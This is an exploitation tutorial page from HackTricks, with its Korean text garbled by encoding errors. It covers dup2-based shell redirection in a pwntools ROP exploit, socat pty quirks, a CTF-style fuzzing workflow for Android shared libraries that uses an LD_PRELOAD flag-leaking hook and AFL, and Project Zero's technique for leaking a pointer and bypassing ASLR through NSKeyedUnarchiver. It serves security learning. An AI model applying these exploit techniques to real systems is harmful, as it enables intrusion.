์ผ๋ฐ์ ์ธ Exploiting ๋ฌธ์
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
FDs in Remote Exploitation
์๋ฅผ ๋ค์ด **system('/bin/sh')**๋ฅผ ํธ์ถํ๋ remote server์ exploit์ ๋ณด๋ผ ๋, ์ด๋ ๋น์ฐํ server process์์ ์คํ๋๋ฉฐ /bin/sh๋ stdin (FD: 0)์์ ์
๋ ฅ์ ๊ธฐ๋ํ๊ณ stdout๊ณผ stderr (FDs 1 ๋ฐ 2)์ ์ถ๋ ฅ์ ์ถ๋ ฅํฉ๋๋ค. ๋ฐ๋ผ์ attacker๋ shell๊ณผ ์ํธ์์ฉํ ์ ์์ต๋๋ค.
์ด๋ฅผ ํด๊ฒฐํ๋ ํ ๊ฐ์ง ๋ฐฉ๋ฒ์ server๊ฐ ์์๋ ๋ FD number 3(for listening)์ ์์ฑํ๊ณ , ๊ทธ ๋ค์ attacker์ connection์ด **FD number 4**์ ๋์ธ๋ค๊ณ ๊ฐ์ ํ๋ ๊ฒ์
๋๋ค. ๋ฐ๋ผ์ syscall **dup2**๋ฅผ ์ฌ์ฉํด stdin (FD 0)๊ณผ stdout (FD 1)์ attacker์ connection์ ํด๋นํ๋ FD 4๋ก duplicateํ๋ฉด, shell์ด ์คํ๋ ํ shell์ ์ ์ํด ์ํธ์์ฉํ๋ ๊ฒ์ด ๊ฐ๋ฅํด์ง๋๋ค.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
์ฐธ๊ณ : socat๋ ์ด๋ฏธ **stdin**๊ณผ **stdout**์ ์์ผ์ผ๋ก ์ ์กํ๋ค. ๊ทธ๋ฌ๋, pty ๋ชจ๋๋ DELETE ๋ฌธ์๋ฅผ ํฌํจํ๋ค. ๋ฐ๋ผ์ \x7f (DELETE)๋ฅผ ์ ์กํ๋ฉด exploit์ ์ด์ ๋ฌธ์๋ฅผ ์ญ์ ํ๋ค.
์ด๋ฅผ ์ฐํํ๋ ค๋ฉด ์ด์ค์ผ์ดํ ๋ฌธ์ \x16์ ๋ณด๋ธ ๋ชจ๋ \x7f ์์ ๋ถ์ฌ์ผ ํ๋ค.
์ฌ๊ธฐ์์ ์ด ๋์์ ์์๋ฅผ ํ์ธํ ์ ์์ต๋๋ค.
Android AArch64 shared-library fuzzing & LD_PRELOAD hooking
Android ์ฑ์ด ์ฌ๋ณผ์ด ์ ๊ฑฐ๋ AArch64 .so๋ง ํฌํจ๋ ์ํ๋ก ๋ฐฐํฌ๋๋๋ผ๋, APK๋ฅผ ์ฌ๋น๋ํ์ง ์๊ณ ๊ธฐ๊ธฐ์์ ์ง์ exported logic์ fuzzํ ์ ์๋ค. ์ค๋ฌด์ ์ธ ์ํฌํ๋ก:
- ํธ์ถ ๊ฐ๋ฅํ ์ํธ๋ฆฌ ํฌ์ธํธ ์ฐพ๊ธฐ.
objdump -T libvalidate.so | grep -E "validate"๋ ๋น ๋ฅด๊ฒ exported functions๋ฅผ ๋์ดํ๋ค. Decompilers (Ghidra, IDA, BN)์ ์ค์ ์๊ทธ๋์ฒ๋ฅผ ๋ณด์ฌ์ค๋ค, ์:int validate(const uint8_t *buf, uint64_t len). - ๋
๋ฆฝ ์คํํ harness ์์ฑ. ํ์ผ์ ๋ก๋ํ๊ณ ๋ฒํผ๋ฅผ ์ ์งํ ๋ค, ์ฑ์ด ํ๋ ๊ฒ์ฒ๋ผ ์ ํํ exported symbol์ ํธ์ถํ๋ค. NDK๋ก ํฌ๋ก์ค ์ปดํ์ผํ๋ค (์:
aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie).
์ต์ ํ์ผ ๊ธฐ๋ฐ harness
```c #includeextern int validate(const uint8_t *buf, uint64_t len);
int main(int argc, char **argv) { if (argc < 2) return 1; int fd = open(argv[1], O_RDONLY); if (fd < 0) return 1; struct stat st = {0}; if (fstat(fd, &st) < 0) return 1; uint8_t *buffer = malloc(st.st_size + 1); read(fd, buffer, st.st_size); close(fd); int ret = validate(buffer, st.st_size); free(buffer); return ret; }
</details>
3. **์์ ๊ตฌ์กฐ๋ฅผ ์ฌ๊ตฌ์ฑ.** Ghidra์ ์๋ฌ ๋ฌธ์์ด๊ณผ ๋น๊ต๋ฅผ ๋ณด๋ฉด ํด๋น ํจ์๋ ์์ ํค(`magic`, `version`, nested `root.children.*`)๋ฅผ ๊ฐ๋ ์๊ฒฉํ JSON์ ํ์ฑํ๊ณ , ์ฐ์ ๊ฒ์ฌ(์: `value * 2 == 84` โ `value`๋ `42`์ฌ์ผ ํจ)๋ฅผ ์ํํจ์ ์ ์ ์๋ค. ๊ฐ ๋ถ๊ธฐ๋ฅผ ์ ์ง์ ์ผ๋ก ๋ง์กฑ์ํค๋ ๊ตฌ๋ฌธ์ ์ผ๋ก ์ ํจํ JSON์ ์ ๊ณตํ๋ฉด instrumentation ์์ด ์คํค๋ง๋ฅผ ๋งคํํ ์ ์๋ค.
4. **anti-debug๋ฅผ ์ฐํํด secrets๋ฅผ leakํฉ๋๋ค.** ํด๋น `.so`๊ฐ `snprintf`๋ฅผ importํ๋ฏ๋ก, `LD_PRELOAD`๋ก ์ด๋ฅผ ์ค๋ฒ๋ผ์ด๋ํ์ฌ breakpoints๊ฐ ์ฐจ๋จ๋์ด ์์ด๋ ๋ฏผ๊ฐํ format strings๋ฅผ dumpํ ์ ์์ต๋๋ค:
<details>
<summary>๊ฐ๋จํ snprintf leak hook</summary>
```c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);
int snprintf(char *str, size_t size, const char *fmt, ...) {
static vsnprintf_t real_vsnprintf;
if (!real_vsnprintf)
real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");
va_list args;
va_start(args, fmt);
va_list args_copy;
va_copy(args_copy, args);
if (fmt && strstr(fmt, "MHL{")) {
fprintf(stdout, "[LD_PRELOAD] flag: ");
vfprintf(stdout, fmt, args);
fputc('\n', stdout);
}
int ret = real_vsnprintf(str, size, fmt, args_copy);
va_end(args_copy);
va_end(args);
return ret;
}
LD_PRELOAD=./hook.so ./validate_harness payload.json๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ํจ์นํ์ง ์๊ณ ๋ด๋ถ flag๋ฅผ ์ธ๋ถ๋ก ๋นผ๋ด๋ฉฐ crash oracle์ ํ์ธํฉ๋๋ค.
5. fuzz ๊ณต๊ฐ์ ์ถ์ํ๋ค. ๋์ค์ด์
๋ธ์ ํตํด flag ๋น๊ต ์ ๋ฐ์์ ์ฌ์ฌ์ฉ๋๋ XOR ํค๊ฐ ๋๋ฌ๋ฌ๊ณ , ์ด๋ flag์ ์ฒ์ 7๋ฐ์ดํธ๊ฐ ์๋ ค์ ธ ์์์ ์๋ฏธํฉ๋๋ค. ์ ์ ์๋ 9๋ฐ์ดํธ๋ง fuzzํฉ๋๋ค.
6. ์ ํจํ JSON envelope ์์ fuzz ๋ฐ์ดํธ๋ฅผ ์ฝ์
ํ๋ค. AFL harness๋ stdin์์ ์ ํํ 9๋ฐ์ดํธ๋ฅผ ์ฝ์ด ์ด๋ฅผ flag ์ ๋ฏธ์ฌ์ ๋ณต์ฌํ๊ณ , ๋๋จธ์ง ๋ชจ๋ ํ๋๋ ํ๋์ฝ๋ฉํฉ๋๋ค(์์, tree depths, arithmetic preimage). ์๋ชป๋ ์ฝ๊ธฐ๋ ๋จ์ํ ์ข
๋ฃ๋๋ฏ๋ก AFL์ ์๋ฏธ ์๋ ํ
์คํธ์ผ์ด์ค์๋ง ์ฌ์ดํด์ ์๋นํฉ๋๋ค:
๊ฐ๋จํ AFL harness
```c #includeextern int validate(unsigned char *bytes, size_t len);
#define FUZZ_SIZE 9
int main(void) {
uint8_t blob[FUZZ_SIZE];
if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0;
char suffix[FUZZ_SIZE + 1];
memcpy(suffix, blob, FUZZ_SIZE);
suffix[FUZZ_SIZE] = โ\0โ;
char json[512];
int len = snprintf(json, sizeof(json),
โ{"magic":16909060,"version":1,"padding":0,"flag":"MHL{827b07c%s}",โ
โ"root":{"type":16,"level":3,"num_children":1,"children":[โ
โ{"type":32,"level":2,"num_children":1,"subchildren":[โ
โ{"type":48,"level":1,"num_children":1,"leaves":[โ
โ{"type":64,"level":0,"reserved":0,"value":42}]}}]}}โ,
suffix);
if (len <= 0 || (size_t)len >= sizeof(json)) return 0;
validate((unsigned char *)json, len);
return 0;
}
</details>
7. **Run AFL with the crash-as-success oracle.** ๋ชจ๋ ์๋ฏธ ๊ฒ์ฌ๋ค์ ํต๊ณผํ๊ณ ์ ํํ 9๋ฐ์ดํธ ์ ๋ฏธ์ฌ๋ฅผ ๋ง์ถ ์
๋ ฅ์ ์๋๋ ํฌ๋์๋ฅผ ์ ๋ฐํฉ๋๋ค; ๊ทธ ํ์ผ๋ค์ `output/crashes`์ ์ ์ฅ๋๋ฉฐ ๊ฐ๋จํ ํ๋์ค๋ก ๋ฆฌํ๋ ์ดํ์ฌ ๋น๋ฐ์ ๋ณต๊ตฌํ ์ ์์ต๋๋ค.
์ด ์ํฌํ๋ก์ฐ๋ anti-debug-protected JNI validators๋ฅผ ๋น ๋ฅด๊ฒ ๋ถ๋ฅํ๊ณ , ํ์ ์ ๋น๋ฐ์ leakํ ๋ค ์๋ฏธ ์๋ ๋ฐ์ดํธ๋ง fuzzํ ์ ์๊ฒ ํ๋ฉฐ, ๋ชจ๋ ์๋ณธ APK๋ฅผ ๊ฑด๋๋ฆฌ์ง ์๊ณ ์ํ๋ฉ๋๋ค.
## Image/Media Parsing Exploits (DNG/TIFF/JPEG)
์
์ฑ ์นด๋ฉ๋ผ ํฌ๋งท์ ์ข
์ข
์์ฒด bytecode (opcode lists, map tables, tone curves)๋ฅผ ํฌํจํฉ๋๋ค. ๊ถํ ์๋ decoder๊ฐ metadata์์ ํ์๋ ์น์๋ plane indices๋ฅผ bound-checkํ์ง ๋ชปํ๋ฉด, ๊ทธ๋ฌํ opcodes๋ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ์ฝ๊ธฐ/์ฐ๊ธฐ ํ๋ฆฌ๋ฏธํฐ๋ธ๊ฐ ๋์ด heap์ groomํ๊ฑฐ๋ ํฌ์ธํฐ๋ฅผ pivotํ๊ฑฐ๋ ์ฌ์ง์ด ASLR์ leakํ ์ ์์ต๋๋ค. Samsung์ in-the-wild Quram exploit์ `DeltaPerColumn` bounds ๋ฒ๊ทธ, skipped opcodes๋ฅผ ํตํ heap spraying, vtable remapping, ๊ทธ๋ฆฌ๊ณ `system()`์ผ๋ก์ JOP ์ฒด์ธ์ ์ฐ๊ฒฐํ ์ต๊ทผ ์ฌ๋ก์
๋๋ค.
<a class="content_ref" href="../mobile-pentesting/android-app-pentesting/abusing-android-media-pipelines-image-parsers.md"><span class="content_ref_label">Abusing Android Media Pipelines Image Parsers</span></a>
## Pointer-Keyed Hash Table Pointer Leaks on Apple Serialization
### ์๊ตฌ์ฌํญ ๋ฐ ๊ณต๊ฒฉ ํ๋ฉด
- ์๋น์ค๊ฐ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ property lists (XML ๋๋ binary)๋ฅผ ๋ฐ์ `NSKeyedUnarchiver.unarchivedObjectOfClasses`๋ฅผ permissive allowlist(์: `NSDictionary`, `NSArray`, `NSNumber`, `NSString`, `NSNull`)๋ก ํธ์ถํ๋ค.
- ์์ฑ๋ ๊ฐ์ฒด๋ค์ ์ฌ์ฌ์ฉ๋๋ฉฐ ๋์ค์ `NSKeyedArchiver`๋ก ๋ค์ ์ง๋ ฌํ๋๊ฑฐ๋(๋๋ ๊ฒฐ์ ์ ๋ฒํท ์์๋ก ๋ฐ๋ณต๋์ด) ๊ณต๊ฒฉ์์๊ฒ ๋ฐํ๋๋ค.
- ์ปจํ
์ด๋์ ์ผ๋ถ ํค ํ์
์ด ํด์ ์ฝ๋๋ก ํฌ์ธํฐ ๊ฐ์ ์ฌ์ฉํ๋ค. 2025๋
3์ ์ด์ ์๋ `CFNull`/`NSNull`์ด `CFHash(object) == (uintptr_t)object`๋ก ํด๋ฐฑํ๊ณ , ์ญ์ง๋ ฌํ๋ ํญ์ shared-cache ์ฑ๊ธํด `kCFNull`์ ๋ฐํํ์ฌ ๋ฉ๋ชจ๋ฆฌ ์์์ด๋ ํ์ด๋ฐ ์์ด ์์ ์ ์ธ ์ปค๋-๊ณต์ ํฌ์ธํฐ๋ฅผ ์ ๊ณตํ๋ค.
### ์ ์ด ๊ฐ๋ฅํ ํด์ฑ ํ๋ฆฌ๋ฏธํฐ๋ธ
- **Pointer-based hashing:** `CFNull`์ `CFRuntimeClass`์๋ hash callback์ด ์์ด `CFBasicHash`๊ฐ ๊ฐ์ฒด ์ฃผ์๋ฅผ ํด์๋ก ์ฌ์ฉํ๋ค. ์ด ์ฑ๊ธํด์ ์ฌ๋ถํ
์ ๊น์ง ๊ณ ์ ๋ shared-cache ์ฃผ์์ ์กด์ฌํ๋ฏ๋ก ํด์๋ ํ๋ก์ธ์ค ๊ฐ์ ์์ ์ ์ด๋ค.
- **Attacker-controlled hashes:** 32-bit `NSNumber` ํค๋ `_CFHashInt`๋ฅผ ํตํด ํด์๋๋ฉฐ, ์ด๋ ๊ฒฐ์ ๋ก ์ ์ด๊ณ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ ์ ์๋ค. ํน์ ์ ์๋ฅผ ์ ํํ๋ฉด ๊ณต๊ฒฉ์๋ ์์์ ํ
์ด๋ธ ํฌ๊ธฐ์ ๋ํด `hash(number) % num_buckets`๋ฅผ ์ ํํ ์ ์๋ค.
- **`NSDictionary` implementation:** ๋ถ๋ณ ๋์
๋๋ฆฌ๋ `CFBasicHash`๋ฅผ ํฌํจํ๋ฉฐ ์์์ธ ๋ฒํท ์๋ `__CFBasicHashTableSizes`์์ ์ ํ๋๋ค(์: 23, 41, 71, 127, 191, 251, 383, 631, 1087). ์ถฉ๋์ linear probing(`__kCFBasicHashLinearHashingValue`)์ผ๋ก ์ฒ๋ฆฌ๋๋ฉฐ, ์ง๋ ฌํ๋ ์ซ์ ์์๋ก ๋ฒํท์ ์ํํ๋ค. ๋ฐ๋ผ์ ์ง๋ ฌํ๋ ํค์ ์์๋ ๊ฐ ํค๊ฐ ๊ฒฐ๊ตญ ์ฐจ์งํ ๋ฒํท ์ธ๋ฑ์ค๋ฅผ ์ธ์ฝ๋ฉํ๋ค.
### ๋ฒํท ์ธ๋ฑ์ค๋ฅผ ์ง๋ ฌํ ์์๋ก ์ธ์ฝ๋ฉํ๊ธฐ
๋ฒํท์ด ์ ์ ๋ ์ฌ๋กฏ๊ณผ ๋น ์ฌ๋กฏ์ด ๋ฒ๊ฐ์ ๋ํ๋๋ ๋์
๋๋ฆฌ๋ฅผ materializeํ๋ plist๋ฅผ ๊ตฌ์ฑํ๋ฉด, ๊ณต๊ฒฉ์๋ linear probing์ด `NSNull`์ ๋ฐฐ์นํ ์ ์๋ ์์น๋ฅผ ์ ์ฝํ ์ ์๋ค. 7-๋ฒํท ์์์, ์ง์ ๋ฒํท์ `NSNumber` ํค๋ก ์ฑ์ฐ๋ฉด ๋ค์๊ณผ ๊ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ง๋ ๋ค:
```text
bucket: 0 1 2 3 4 5 6
occupancy: # _ # _ # _ #
During deserialization the victim inserts the single NSNull key. Its initial bucket is hash(NSNull) % 7, but probing advances until hitting one of the open indices {1,3,5}. The serialized key order reveals which slot was used, disclosing whether the pointer hash modulo 7 lies in {6,0,1}, {2,3}, or {4,5}. Because the attacker controls the original serialized order, the NSNull key is emitted last in the input plist so the post-reserialization ordering is solely a function of bucket placement.
Resolving exact residues with complementary tables
๋จ์ผ dictionary๋ ์์ฌ๊ฐ ๋ฒ์๋ง leak ํ๋ค. hash(NSNull) % p์ ์ ํํ ๊ฐ์ ๊ฒฐ์ ํ๋ ค๋ฉด ์์ ๋ฒํท ํฌ๊ธฐ p๋ง๋ค ๋ ๊ฐ์ dictionary๋ฅผ ๋ง๋ ๋ค: ์ง์ ๋ฒํท์ ๋ฏธ๋ฆฌ ์ฑ์ด ๊ฒ ํ๋์ ํ์ ๋ฒํท์ ๋ฏธ๋ฆฌ ์ฑ์ด ๊ฒ ํ๋. ์๋ณด ํจํด(_ # _ # _ # _)์์ ๋น์ด ์๋ ์ฌ๋กฏ(0,2,4,6)์ residue ์งํฉ {0}, {1,2}, {3,4}, {5,6}์ ๋์ํ๋ค. ๋ dictionary์์ NSNull์ ์ง๋ ฌํ๋ ์์น๋ฅผ ๊ด์ฐฐํ๋ฉด ๋ ํ๋ณด ์งํฉ์ ๊ต์งํฉ์ด ํด๋น p์ ๋ํด ๊ณ ์ ํ r_i๋ฅผ ๋ง๋ค๊ธฐ ๋๋ฌธ์ ์์ฌ๊ฐ์ด ๋จ์ผ ๊ฐ์ผ๋ก ์ขํ์ง๋ค.
๊ณต๊ฒฉ์๋ ๋ชจ๋ dictionary๋ฅผ NSArray ์์ ๋ฌถ์ด์ ๋ฃ์ผ๋ฏ๋ก ๋จ์ผ deserialize โ serialize ์๋ณต์ผ๋ก ์ ํ๋ ๋ชจ๋ ํ
์ด๋ธ ํฌ๊ธฐ์ ๋ํ residues๋ฅผ leak ํ๋ค.
Reconstructing the 64-bit shared-cache pointer
For each prime p_i โ {23, 41, 71, 127, 191, 251, 383, 631, 1087}, the attacker recovers hash(NSNull) โก r_i (mod p_i) from the serialized ordering. Applying the Chinese Remainder Theorem (CRT) with the extended Euclidean algorithm yields:
ฮ p_i = 23ยท41ยท71ยท127ยท191ยท251ยท383ยท631ยท1087 = 0x5ce23017b3bd51495 > 2^64
so the combined residue uniquely equals the 64-bit pointer to kCFNull. The Project Zero PoC iteratively combines congruences while printing intermediate moduli to show convergence toward the true address (0x00000001eb91ab60 on the vulnerable build).
์ค์ ์์ ํ๋ฆ
- Generate crafted input: ๊ณต๊ฒฉ์ ์ชฝ XML plist(์์๋ง๋ค ๋ ๊ฐ์ dictionary,
NSNull์ด ๋ง์ง๋ง์ ์ง๋ ฌํ๋จ)๋ฅผ ์์ฑํ๊ณ ์ด๋ฅผ ๋ฐ์ด๋๋ฆฌ ํ์์ผ๋ก ๋ณํํ๋ค.
clang -o attacker-input-generator attacker-input-generator.c
./attacker-input-generator > attacker-input.plist
plutil -convert binary1 attacker-input.plist
- Victim round trip: ํผํด์ ์๋น์ค๋ ํ์ฉ๋ ํด๋์ค ์งํฉ
{NSDictionary, NSArray, NSNumber, NSString, NSNull}์ ์ฌ์ฉํ์ฌNSKeyedUnarchiver.unarchivedObjectOfClasses๋ก ์ญ์ง๋ ฌํํ ๋ค ์ฆ์NSKeyedArchiver๋ก ๋ค์ ์ง๋ ฌํํ๋ค. - Residue extraction: ๋ฐํ๋ plist๋ฅผ ๋ค์ XML๋ก ๋ณํํ๋ฉด dictionary ํค์ ์์๋ฅผ ํ์ธํ ์ ์๋ค.
extract-pointer.c๊ฐ์ ํฌํผ๋ object table์ ์ฝ์ด singletonNSNull์ ์ธ๋ฑ์ค๋ฅผ ๊ฒฐ์ ํ๊ณ , ๊ฐ dictionary ์์ ๋ฒํท ์์ฌ๊ฐ์ผ๋ก ๋งคํํ ๋ค CRT ์์คํ ์ ํ์ด shared-cache ํฌ์ธํฐ๋ฅผ ๋ณต์ํ๋ค. - Verification (optional):
CFHash(kCFNull)์ ์ถ๋ ฅํ๋ ์์ Objective-C ํฌํผ๋ฅผ ์ปดํ์ผํ๋ฉด ์ถ๋ ฅ๊ฐ์ด ์ค์ ์ฃผ์์ ์ผ์นํจ์ ํ์ธํ ์ ์๋ค.
๋ฉ๋ชจ๋ฆฌ ์์ ๋ฒ๊ทธ๊ฐ ํ์ํ์ง ์๋ค โ ๋จ์ง pointer-keyed ๊ตฌ์กฐ์ ์ง๋ ฌํ ์์๋ฅผ ๊ด์ฐฐํ๋ ๊ฒ๋ง์ผ๋ก ์๊ฒฉ ASLR ์ฐํ primitive๋ฅผ ์ป์ ์ ์๋ค.
Related pages
Common Exploiting Problems Unsafe Relocation Fixups
Reversing Tools & Basic Methods
References
- FD duplication exploit example
- Socat delete-character behaviour
- FuzzMe โ Reverse Engineering and Fuzzing an Android Shared Library
- Pointer leaks through pointer-keyed data structures (Project Zero)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


